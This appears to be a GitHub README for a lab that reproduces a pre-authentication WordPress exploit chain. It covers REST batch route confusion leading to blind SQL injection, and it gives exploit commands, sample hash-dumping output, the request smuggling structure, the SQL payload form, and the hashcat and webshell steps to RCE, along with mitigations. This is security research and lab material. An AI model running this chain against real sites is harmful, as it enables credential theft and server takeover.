joaovicdev/EXPLOIT-CVE-2026-63030

GitHub: joaovicdev/EXPLOIT-CVE-2026-63030

一个用于复现 WordPress wp2shell 漏洞链的 Docker 实验环境和 Python exploit 工具,演示了预认证路由混淆到 SQL 注入的完整攻击过程。

Stars: 1 | Forks: 1

# 实验 — CVE-2026-63030 (“wp2shell”) + CVE-2026-60137 **故意设置存在漏洞的** Docker 环境,包含 WordPress Core **7.0.1** 以及一个演示 *预认证* **wp2shell** 链的 Python exploit: | CVE | 组件 | 说明 | |-----|------------|---------| | **CVE-2026-63030** | REST API `/wp-json/batch/v1` | *路由混淆*:子请求的验证与分发之间的不同步 | | **CVE-2026-60137** | `WP_Query` (`author__not_in`) | 当值为**字符串**而非数组时的 SQL injection | 将这些漏洞串联起来,**没有任何凭据**的攻击者就可以执行任意 SQL(并在完整的利用链中,最终实现 RCE)。该漏洞已在 WordPress **6.9.5** 和 **7.0.2** 中修复。 受 RCE 链影响的版本:**6.9.0–6.9.4** 和 **7.0.0–7.0.1**。 ## 1. 启动环境 ``` docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1 docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários ``` 这将创建: - 网站位于 **http://localhost:8080** - `admin` / `SuperSecret123!` - `victim` / `Victim_P@ss_2026` (第二个管理员,也是哈希提取的目标) - 1 篇已发布的文章(`get_items()` 返回行数据所必需的) 确认易受攻击的版本: ``` curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"' # ... 或: docker exec wp2shell-cli wp core version # 7.0.1 ``` ## 2. 运行 exploit ``` python3 exploit.py --url http://localhost:8080 ``` 输出(摘要): ``` [+] Route confusion OK: GET /wp/v2/users executou sob posts get_items() [+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2) [*] Fingerprint do banco de dados: versão MySQL = 8.0.46 usuário atual = wordpress@% database = wordpress [+] Credenciais extraídas (pré-autenticação, sem login): ID=1 login=admin hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q ID=2 login=victim hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e ``` 其他选项: ``` python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário python3 exploit.py --url http://localhost:8080 --mode time # blind time-based python3 exploit.py --url http://localhost:8080 -v # mostra cada query ``` 该 exploit 仅使用 Python 3 标准库(无额外依赖)。 ### 验证泄露的数据是否真实 ``` docker exec wp2shell-db mysql -uroot -prootpass -N \ -e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;" ``` 这些哈希值应与 exploit 提取的**完全一致**(而 exploit 从未访问过数据库)。 ## 3. 该利用链是如何工作的(代码中验证的实际机制) ### 3.1 不同步 bug(`serve_batch_request_v1`) 在 `wp-includes/rest-api/class-wp-rest-server.php` 中,批处理 handler 使用了**两个并行的数组**:`$matches`(匹配的路由/handler)和 `$validation`(验证结果): ``` foreach ( $requests as $single_request ) { if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false $has_error = true; $validation[] = $single_request; // <-- entra SÓ em $validation continue; // <-- $matches NÃO recebe entrada => desync! } $match = $this->match_request_to_handler( $single_request ); $matches[] = $match; ... $validation[] = $error ? $error : true; } ``` 在分发阶段,handler 是通过 `$matches[$i]` 的索引读取的,而 `$single_request` 和 `$validation[$i]` 则遵循 `$requests` 的完整索引。一个解析失败(`"///"`)的 **primer** 会将 `$matches` 中的所有内容向后推一个位置 —— 因此一个子请求会**在另一个请求的 handler 下被执行**。 ### 3.2 GET 子请求的走私(嵌套批处理) 批处理的 schema 只接受 `POST/PUT/PATCH/DELETE` 方法(GET 会被拒绝并报错 `rest_not_in_enum`)。该 exploit 通过**批处理中的批处理**绕过了这一点: ``` BATCH EXTERNO (métodos válidos): [ primer("///"), carrier = POST /wp/v2/posts (body = BATCH INTERNO), POST /batch/v1 ] ``` - `carrier` 被作为文章的 `create_item` **验证**(通过:`allow_batch=true`,无必填参数)。由于它*没有*被当作批处理进行验证,它的 `body` **逃避了方法枚举验证**。 - 外部的不同步导致 `carrier` 被**在 `/batch/v1` handler 下分发**(从第 3 个子请求中窃取)→ `serve_batch_request_v1` 处理原始 body,其中包含了 **GET** 子请求。 ### 3.3 到达 SQL sink ``` BATCH INTERNO: [ primer("///"), GET /wp/v2/users?author_exclude=, <-- users NÃO define author_exclude => valor cru GET /wp/v2/posts ] ``` 新的内部不同步 → `GET /wp/v2/users` 请求(携带**未过滤的** `author_exclude`)在 **`posts get_items()`** 下执行。在那里: ``` // class-wp-rest-posts-controller.php 'author_exclude' => 'author__not_in', // mapeamento ``` 在 `WP_Query`(`class-wp-query.php`)中,存在漏洞的代码如下: ``` if ( ! empty( $query_vars['author__not_in'] ) ) { if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) ); sort( ... ); } $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção } ``` 使用的布尔型 Payload:`0) AND (<条件>)-- -`,将 `WHERE` 变成了一个判定器(有文章列表 = true;空列表 = false)。通过二分查找逐个字符进行提取。 ## 4. 到 RCE 的完整序列(wp2shell) 本实验验证了**预认证**部分(路由混淆 → SQLi → 哈希泄露),这是整个利用链的核心。安全通报中的完整利用序列还包括: 1. 离线破解 `$wp$2y$...`(bcrypt)哈希 — `hashcat -m 3200`。 2. 使用恢复的密码登录 `/wp-admin`。 3. 上传恶意的 PHP 插件(或编辑主题)→ **webshell / RCE**。 ## 5. 缓解措施 - 将 WordPress Core 更新至 **6.9.5 / 7.0.2**(或更高版本)。补丁: - 即使 `author__not_in` 是字符串,也会强制通过 `wp_parse_id_list` 将其转为整数; - 确保批处理错误在**两个**数组中都占据位置(彻底消除了不同步)。 - 补偿性缓解措施:使用 WAF 过滤 `/wp-json/batch/v1`,禁用未经身份验证的 REST API,监控包含 SQL 的 `author_exclude` 请求。 ## 6. 清理 ``` docker compose down -v # remove containers + volumes (dados) ``` ## 参考 - Rapid7 — [ETR: CVE-2026-63030 wp2shell](https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/) - The Hacker News — [New wp2shell WordPress Core Flaw](https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html) - ZSec — [wp2shell Code Trace Deep Dive](https://blog.zsec.uk/wp2shell-code-trace-deep-dive/) - Mallory.ai — [CVE-2026-63030 REST API Batch Route Confusion](https://mallory.ai/vulnerabilities/CVE-2026-63030) - Penligent — [wp2shell: Patch Priority & Safe Validation](https://www.penligent.ai/hackinglabs/cve-2026-63030-wp2shell/)
标签:CISA项目, OPA, Python, WordPress, 安全, 文件完整性监控, 无后门, 演示模式, 版权保护, 请求拦截, 超时处理, 逆向工具, 靶场